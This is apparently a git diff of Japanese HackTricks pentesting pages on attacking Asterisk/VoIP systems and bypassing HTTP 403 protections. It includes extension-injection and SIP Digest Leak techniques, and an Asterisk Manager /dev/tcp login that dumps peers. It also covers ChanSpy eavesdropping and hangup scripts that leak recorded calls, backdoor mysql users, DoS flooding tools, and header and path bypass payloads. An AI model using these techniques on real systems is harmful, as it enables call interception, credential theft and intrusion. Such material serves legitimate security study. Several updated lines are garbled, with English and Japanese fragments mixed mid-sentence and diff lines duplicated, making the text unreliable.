3. **通話ルーティング**:ユーザー入力に基づいて、特定の部門、エージェント、または内線など、適切な宛先に通話を誘導します。 3. **通話ルーティング**:ユーザー入力に基づいて、特定の部門、エージェント、または内線など、適切な宛先に通話を誘導します。
4. **ユーザー入力の取得**呼び出し者からの情報を収集します。例えば、アカウント番号、ケースID、またはその他の関連データなどです 4. **ユーザー入力の取得**呼び出し者からの情報を収集します。例えば、アカウント番号、ケースID、またはその他の関連データなど。
5. **外部システムとの統合**IVRシステムをデータベースや他のソフトウェアシステムに接続し、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。 5. **外部システムとの統合**IVRシステムをデータベースや他のソフトウェアシステムに接続し、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。
Asterisk VoIPシステムでは、ダイヤルプラン**`extensions.conf`**ファイル)と`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトを再生し、ユーザー入力を取得し、通話の流れを制御するのに役立ちます。 Asterisk VoIPシステムでは、ダイヤルプラン**`extensions.conf`**ファイル)と`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトを再生し、ユーザー入力を取得し、通話の流れを制御するのに役立ちます。
@ -439,12 +447,12 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers}) exten => 0,104,Dial(LOCAL/${numbers})
``` ```
の例では、ユーザーに**1を押して**部門に電話するように、**2を押して**別の部門に電話するように、または知っている場合は**完全な内線番号**を入力するように求められます。\ 前の例では、ユーザーに**1を押して**部門に電話するように、**2を押して**別の部門に電話するように、または知っている場合は**完全な内線番号**を入力するように求められます。\
脆弱性は、指定された**内線番号の長さがチェックされない**ため、ユーザーが5秒のタイムアウトを持つ完全な番号を入力すると、それが呼び出される可能性があることです。 脆弱性は、指定された**内線番号の長さがチェックされない**ため、ユーザーが5秒のタイムアウトを持つ完全な番号を入力すると、それが呼び出される可能性があることです。
### Extension Injection ### 内線番号インジェクション
次のような内線を使用して: 次のような内線番号を使用して:
```scss ```scss
exten => _X.,1,Dial(SIP/${EXTEN}) exten => _X.,1,Dial(SIP/${EXTEN})
``` ```
@ -452,15 +460,15 @@ Where **`${EXTEN}`** は **呼び出される内線番号** であり、**ext 10
```scss ```scss
exten => 101,1,Dial(SIP/101) exten => 101,1,Dial(SIP/101)
``` ```
しかし、もし **`${EXTEN}`** が **数字以外のもの**古いAsteriskバージョンのように入力することを許可する場合、攻撃者は **`101&SIP123123123`** を入力して電話番号123123123に電話をかけることができます。そして、これが結果になります しかし、もし **`${EXTEN}`** が **数字以外のもの**古いAsteriskバージョンのように受け入れる場合、攻撃者は **`101&SIP123123123`** を入力して電話番号123123123に電話をかけることができます。そして、これが結果になります
```scss ```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
``` ```
したがって、**`101`**および**`123123123`**への呼び出しが送信され、最初のものだけが接続されます... しかし、攻撃者が**マッチをバイパスする拡張子**を使用し、存在しない場合、彼は**望ましい番号にのみ呼び出しを注入することができる** したがって、**`101`**および**`123123123`**への呼び出しが送信され、最初の呼び出しのみが確立されます... しかし、攻撃者が**マッチをバイパスする拡張子**を使用し、存在しない場合、**希望の番号にのみ呼び出しを注入する**ことができます
## SIPDigestLeak 脆弱性 ## SIPDigestLeak 脆弱性
SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフトウェアのIP電話、電話アダプタVoIPからアナログに影響を与える脆弱性です。この脆弱性は、**パスワードから計算されたDigest認証応答の漏洩**を可能にします。**オフラインパスワード攻撃が可能**であり、チャレンジ応答に基づいてほとんどのパスワードを回復できます。 SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフトウェアのIP電話、電話アダプタVoIPからアナログに影響を与える脆弱性です。この脆弱性により、**ダイジェスト認証応答の漏洩**が可能になり、これはパスワードから計算されます。**オフラインパスワード攻撃が可能になり**、チャレンジ応答に基づいてほとんどのパスワードを回復できます。
**[脆弱性シナリオはこちらから**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): **[脆弱性シナリオはこちらから**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
@ -468,11 +476,11 @@ SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフト
2. 攻撃者はIP電話にINVITEを送信します 2. 攻撃者はIP電話にINVITEを送信します
3. 被害者の電話が鳴り、誰かが電話を取り、すぐに切ります(相手が応答しないため) 3. 被害者の電話が鳴り、誰かが電話を取り、すぐに切ります(相手が応答しないため)
4. 電話が切られると、**被害者の電話は攻撃者にBYEを送信します** 4. 電話が切られると、**被害者の電話は攻撃者にBYEを送信します**
5. **攻撃者は407応答を発行し**、**認証を要求**、認証チャレンジを発行します 5. **攻撃者は407応答を発行し**、**認証を要求**、認証チャレンジを発行します
6. **被害者の電話は2回目のBYEで認証チャレンジに対する応答を提供します** 6. **被害者の電話は2回目のBYEで認証チャレンジに対する応答を提供します**
7. **攻撃者はローカルマシン(または分散ネットワークなど)でチャレンジ応答に対してブルートフォース攻撃を行し**、パスワードを推測できます 7. **攻撃者はローカルマシン(または分散ネットワークなど)でチャレンジ応答に対してブルートフォース攻撃を行し**、パスワードを推測できます
* **SIPPTS漏洩**は[**sippts**](https://github.com/Pepelux/sippts)**から:** SIPPTS漏洩は、多くのSIP電話に影響を与えるSIP Digest Leak脆弱性を悪用します。出力はSipCrack形式で保存でき、SIPPTS dcrackまたはSipCrackツールを使用してブルートフォース攻撃できます。 * **SIPPTS漏洩**は[**sippts**](https://github.com/Pepelux/sippts)**から:** SIPPTS漏洩は、多くのSIP電話に影響を与えるSIP Digest Leak脆弱性を悪用します。出力はSipCrack形式で保存でき、SIPPTS dcrackまたはSipCrackツールを使用してブルートフォース攻撃を行うことができます。
```bash ```bash
sippts leak -i 10.10.0.10 sippts leak -i 10.10.0.10
@ -495,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
``` ```
### Click2Call ### Click2Call
Click2Callは、**ウェブユーザー**(例えば、製品に興味があるかもしれない)に**電話番号**を**提供**させて、電話を受けることができます。次に、商業用の電話がかかり、彼が**電話に出る**と、ユーザーは**エージェントと接続されます**。 Click2Callは、**ウェブユーザー**(例えば、製品に興味があるかもしれない)が**電話番号**を**入力**して呼び出されることを可能にします。次に、商業用の電話がかかり、彼が**電話に出る**と、ユーザーは**エージェントと接続されて呼び出されます**。
これに一般的なAsteriskプロファイルは次のとおりです これに一般的なAsteriskプロファイルは次のとおりです
```scss ```scss
@ -508,9 +516,11 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate write = system,call,agent,user,config,command,reporting,originate
``` ```
* 前のプロファイルは **任意のIPアドレスが接続することを許可しています**(パスワードが知られている場合)。 * 前のプロファイルは **任意のIPアドレスが接続することを許可しています**(パスワードが知られている場合)。
* 前述のように **通話を組織するためには**、**読み取り権限は必要なく**、**書き込み**の **発信**のみが必要です。 * 前述のように **通話を組織するためには**、**読み取り権限は必要なく**、**書き込み**の **発信** のみが必要です。
これらの権限があれば、パスワードを知っている任意のIPが接続し、過剰な情報を抽出することができます。 これらの権限があれば、パスワードを知っている任意のIPが接続し、過剰な情報を抽出することができます。
{% code overflow="wrap" %}
```bash ```bash
# Get all the peers # Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
@ -523,11 +533,11 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
Asteriskでは、**`ChanSpy`** コマンドを使用して、**監視する内線**(またはすべての内線)を指定することで、行われている会話を聞くことができます。このコマンドは内線に割り当てる必要があります。 Asteriskでは、**`ChanSpy`** コマンドを使用して、**監視する内線**(またはすべての内線)を指定することで、行われている会話を聞くことができます。このコマンドは内線に割り当てる必要があります。
例えば、**`exten => 333,1,ChanSpy('all',qb)`** は、**内線 333** に**電話**をかけると、**`all`** の内線を**監視**し、新しい会話が始まるときに**聞き始め****`b`**)、静かなモード(**`q`**)で行います。私たちはそれに対してインタラクトしたくないからです。**`*`** を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。 例えば、**`exten => 333,1,ChanSpy('all',qb)`** は、**内線 333** に**電話**をかけると、**`all`** の内線を**監視**し、新しい会話が始まるときに**聞き始め****`b`**)、静かなモード(**`q`**)で行います。これは、私たちがその会話に干渉したくないからです。**`*`** を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。
特定の内線のみを監視するために、**`ExtenSpy`** を使用することも可能です。 特定の内線のみを監視するために、**`ExtenSpy`** を使用することも可能です。
会話を聞く代わりに、内線を使用して**ファイルに録音する**ことも可能です: 会話を聞く代わりに、次のような内線を使用して**ファイルに録音する**こともできます:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```scss ```scss
@ -545,13 +555,13 @@ exten => h,1,System(/tmp/leak_conv.sh &)
``` ```
### RTCPBleed 脆弱性 ### RTCPBleed 脆弱性
**RTCPBleed** は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です2017年に公開。この脆弱性により、VoIP 話を運ぶ **RTP (リアルタイムプロトコル) トラフィック****インターネット上の誰でも傍受され、リダイレクトされる** 可能性があります。これは、RTP トラフィックが NAT (ネットワークアドレス変換) ファイアウォールを通過する際に認証をバイパスするために発生します。 **RTCPBleed** は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です2017年に公開。この脆弱性により、VoIP 話を運ぶ **RTP (リアルタイムプロトコル) トラフィック****インターネット上の誰でも傍受し、リダイレクトできる** ようになります。これは、RTP トラフィックが NAT (ネットワークアドレス変換) ファイアウォールを通過する際に認証をバイパスするために発生します。
RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える **NAT の制限** に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、しばしばシグナリングSIPを通じて取得された RTP IP およびポート情報に依存できません。したがって、いくつかの RTP プロキシは、そのような **IP およびポートのタプルを自動的に学習する** メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者** は **RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者向けに意図されたプロキシされた RTP トラフィックを受け取る** ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるはずの RTP メディアストリームを受信できるためです。 RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える **NAT の制限** に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、シグナリングSIPを通じて取得した RTP IP およびポート情報に依存できないことがよくあります。したがって、いくつかの RTP プロキシは、そのような **IP およびポートのタプルを自動的に学習する** メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者** は **RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者向けに送信されるべきプロキシされた RTP トラフィックを受け取る** ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるべき RTP メディアストリームを受け取ることを可能にするからです。
RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、時には **RTP Bleed に対して脆弱でなくても**、**任意のソースからの RTP パケットを受け入れ、転送し、または処理する** ことです。したがって、攻撃者は正当なメディアの代わりに自分のメディアを注入できる RTP パケットを送信できます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入できるためです。この脆弱性は、RTP プロキシとエンドポイントの両方に存在する可能性があります。 RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、**RTP Bleed に対して脆弱でない場合でも**、**任意のソースからの RTP パケットを受け入れ、転送し、または処理する** ことがあることです。したがって、攻撃者は正当なメディアの代わりに自分のメディアを注入できる RTP パケットを送信することができます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入できるからです。この脆弱性は、RTP プロキシとエンドポイントの両方に存在する可能性があります。
Asterisk と FreePBX は、伝統的に **`NAT=yes` 設定** を使用しており、これにより RTP トラフィックが認証をバイパスし、通話で音声がないか一方向の音声になる可能性があります。 Asterisk と FreePBX は、伝統的に **`NAT=yes` 設定** を使用しており、これにより RTP トラフィックが認証をバイパスし、通話で音声がないか一方向の音声になる可能性があります。
詳細については [https://www.rtpbleed.com/](https://www.rtpbleed.com/) を確認してください。 詳細については [https://www.rtpbleed.com/](https://www.rtpbleed.com/) を確認してください。
@ -580,49 +590,49 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary. There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %} {% hint style="warning" %}
もしサーバーが**`System`**コマンドで**特定の文字の使用を禁止している**場合Elastixのように、ウェブサーバーが**システム内にファイルを作成することを許可しているか**確認してくださいElastixやtrixboxのように、それを使用して**バックドアスクリプトを作成**し、その後**`System`**を使用してその**スクリプトを実行**します。 If the server is **特定の文字の使用を禁止している** in the **`System`** command (like in Elastix), check if the web server allows to **システム内にファイルを作成する方法** (like in Elastix or trixbox), and use it to **バックドアスクリプトを作成** and then use **`System`** to **実行** that **スクリプト**.
{% endhint %} {% endhint %}
#### 興味深いローカルファイルと権限 #### Interesting local files and permissions
* **`sip.conf`** -> SIPユーザーのパスワードを含む。 * **`sip.conf`** -> Contains the password of SIP users.
* **Asteriskサーバーがrootとして実行されている場合**、rootを危険にさらすことができる。 * If the **Asteriskサーバーがrootとして実行されている**, you could compromise root
* **mysql rootユーザー**は**パスワードを持っていない可能性がある**。 * **mysql root user** might **パスワードがないかもしれない**.
* これはバックドアとして新しいmysqlユーザーを作成するために使用できる。 * this could be used to create a new mysql user as backdoor
* **`FreePBX`** * **`FreePBX`**
* **`amportal.conf`** -> ウェブパネル管理者FreePBXのパスワードを含む。 * **`amportal.conf`** -> Contains the password of the web panel administrator (FreePBX)
* **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXuserのパスワードを含む。 * **`FreePBX.conf`** -> Constains the password of the user FreePBXuser used to access the database
* これはバックドアとして新しいmysqlユーザーを作成するために使用できる。 * this could be used to create a new mysql user as backdoor
* **`Elastix`** * **`Elastix`**
* **`Elastix.conf`** -> mysql rootパス、IMAPdパス、ウェブ管理者パスなどのクリアテキストのパスワードを含む。 * **`Elastix.conf`** -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass
* **いくつかのフォルダー**は、侵害されたasteriskユーザーに属しますrootとして実行されていない場合。このユーザーは前述のファイルを読み取ることができ、設定を制御することもできるため、Asteriskが実行時に他のバックドアバイナリを読み込むようにすることができます。 * **いくつかのフォルダ** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
### RTPインジェクション ### RTP Injection
**`rtpinsertsound`**`sudo apt install rtpinsertsound`)や**`rtpmixsound`**`sudo apt install rtpmixsound`)などのツールを使用して、会話に**`.wav`**を挿入することが可能です。 It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
また、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)からのスクリプトを使用して、**会話をスキャン**する(**`rtpscan.pl`**)、会話に**`.wav`**を送信する(**`rtpsend.pl`**)、会話に**ノイズを挿入**する(**`rtpflood.pl`**)ことができます。 Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **会話をスキャン** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **ノイズを挿入** in a conversation (**`rtpflood.pl`**).
### DoS ### DoS
VoIPサーバーでDoSを達成するためのいくつかの方法があります。 There are several ways to try to achieve DoS in VoIP servers.
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS floodはターゲットに無限のメッセージを送信します。 * **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.
* `sippts flood -i 10.10.0.10 -m invite -v` * `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS pingはサーバーの応答時間を確認するためにSIP pingを行います。 * **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time.
* `sippts ping -i 10.10.0.10` * `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asteriskによって使用されるDoS IAXプロトコル。 * [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP上でSIP/SDP INVITEメッセージの洪水を実行するためのツール。 * [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): いくつかの適切に形成されたRTPパケットを送信します。使用されているRTPポートを知る必要があります最初にスニッフィングしてください * [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
* [**SIPp**](https://github.com/SIPp/sipp): SIPトラフィックを分析および生成することができます。したがって、DoSにも使用できます。 * [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。 * [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks.
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/)、[**voiper**](https://github.com/gremwell/voiper)。 * Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### OSの脆弱性 ### OS Vulnerabilities
Asteriskのようなソフトウェアをインストールする最も簡単な方法は、すでにインストールされている**OSディストリビューション**をダウンロードすることです。例:**FreePBX、Elastix、Trixbox**... それらの問題は、一度動作し始めると、システム管理者が**再度更新しない可能性があり**、**脆弱性**が時間とともに発見されることです。 The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **再度更新しないかもしれない** and **脆弱性** are going to be discovered with time.
## 参考文献 ## References
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) * [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
* [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) * [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
@ -635,6 +645,14 @@ Asteriskのようなソフトウェアをインストールする最も簡単な
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<details> <details>
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>

View file

@ -10,14 +10,16 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむためのカスタムツール、検出および悪用モジュールを開発しています。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -25,15 +27,15 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
ファイルにアクセスするために**異なる動詞**を使用してみてください:`GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` ファイルにアクセスするために**異なる動詞**を使用してみてください:`GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* レスポンスヘッダーを確認してください。おそらくいくつかの情報が提供されるかもしれません。例えば、**HEAD**に対する**200レスポンス**が`Content-Length: 55`の場合、**HEAD動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。 * レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、**HEAD**に対する**200レスポンス**が`Content-Length: 55`の場合、**HEAD動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。
* `X-HTTP-Method-Override: PUT`のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。 * `X-HTTP-Method-Override: PUT`のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。
* **`TRACE`**動詞を使用し、運が良ければ、レスポンスに**中間プロキシによって追加されたヘッダー**が表示されるかもしれません。 * **`TRACE`**動詞を使用し、運が良ければ、レスポンスに中間プロキシによって追加された**ヘッダー**も表示されるかもしれません。
## HTTPヘッダーのファジング ## HTTPヘッダーのファジング
* **Hostヘッダーを**任意の値に変更します([ここで機能した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31) * **Hostヘッダーを**任意の値に変更す[ここで機能した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)
* リソースにアクセスするために[**他のユーザーエージェントを使用してみてください**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)。 * [**他のユーザーエージェントを使用して**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)リソースにアクセスしてみてください
* **HTTPヘッダーをファジングする**HTTPプロキシ**ヘッダー**、HTTP認証ベーシックおよびNTLMブルートフォースいくつかの組み合わせのみやその他の技術を試してください。これを行うために、私は[**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)というツールを作成しました。 * **HTTPヘッダーをファジングする**HTTPプロキシ**ヘッダー**、HTTP認証ベーシックおよびNTLMブルートフォースいくつかの組み合わせのみやその他の技術を試してください。これを行うために、[**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)というツールを作成しました。
* `X-Originating-IP: 127.0.0.1` * `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1` * `X-Forwarded-For: 127.0.0.1`
@ -49,21 +51,21 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* `X-ProxyUser-Ip: 127.0.0.1` * `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost` * `Host: localhost`
**パスが保護されている**場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください: もし**パスが保護されている**場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください:
* `X-Original-URL: /admin/console` * `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console` * `X-Rewrite-URL: /admin/console`
* ページが**プロキシの背後にある**場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。[**HTTPリクエストスムージング**](../../pentesting-web/http-request-smuggling/)**または**[**hop-by-hopヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用してみてください。** * ページが**プロキシの背後にある**場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。[**HTTPリクエストスムージング**](../../pentesting-web/http-request-smuggling/) **または** [**hop-by-hopヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用してみてください。**
* 異なるレスポンスを探して[**特別なHTTPヘッダーをファジング**](special-http-headers.md)します * 異なるレスポンスを探して[**特別なHTTPヘッダー**](special-http-headers.md)をファジングしてください
* **HTTPメソッドをファジングしながら特別なHTTPヘッダーをファジングします**。 * **HTTPメソッドをファジングしながら特別なHTTPヘッダーをファジングしてください。**
* **Hostヘッダーを削除すると、保護をバイパスできるかもしれません** * **Hostヘッダーを削除すると、保護をバイパスできるかもしれません**
## パス**ファジング** ## パス**ファジング**
もし_/path_がブロックされている場合 もし_/path_がブロックされている場合
* _**/**_**%2e/pathを使用してみてくださいアクセスがプロキシによってブロックされている場合、これが保護をバイパスする可能性があります。また、**\_\*\* /%252e\*\*/pathダブルURLエンコードを試してください** * _**/**_**%2e/pathを使用してみてくださいアクセスがプロキシによってブロックされている場合、これが保護をバイパスする可能性があります。また、**\_\*\* /%252e\*\*/pathダブルURLエンコードを試してください**
* **Unicodeバイパスを試してください**_/**%ef%bc%8f**path_URLエンコードされた文字は「/」のようなものです)ので、再エンコードると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。 * **Unicodeバイパスを試してください**_/**%ef%bc%8f**path_URLエンコードされた文字は「/」のようなものです)ので、再エンコードされると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。
* **他のパスバイパス** * **他のパスバイパス**
* site.com/secret > HTTP 403 Forbidden * site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK * site.com/SECRET > HTTP 200 OK
@ -91,12 +93,12 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
## **パラメータ操作** ## **パラメータ操作**
* **パラメータ値を変更****`id=123` --> `id=124`** * **パラメータ値を変更する****`id=123` --> `id=124`**
* URLに追加のパラメータを追加`?`**`id=124` —-> `id=124&isAdmin=true`** * URLに追加のパラメータを追加する`?`**`id=124` —-> `id=124&isAdmin=true`**
* パラメータを削除 * パラメータを削除する
* パラメータの順序を変更 * パラメータの順序を変更する
* 特殊文字を使用。 * 特殊文字を使用する
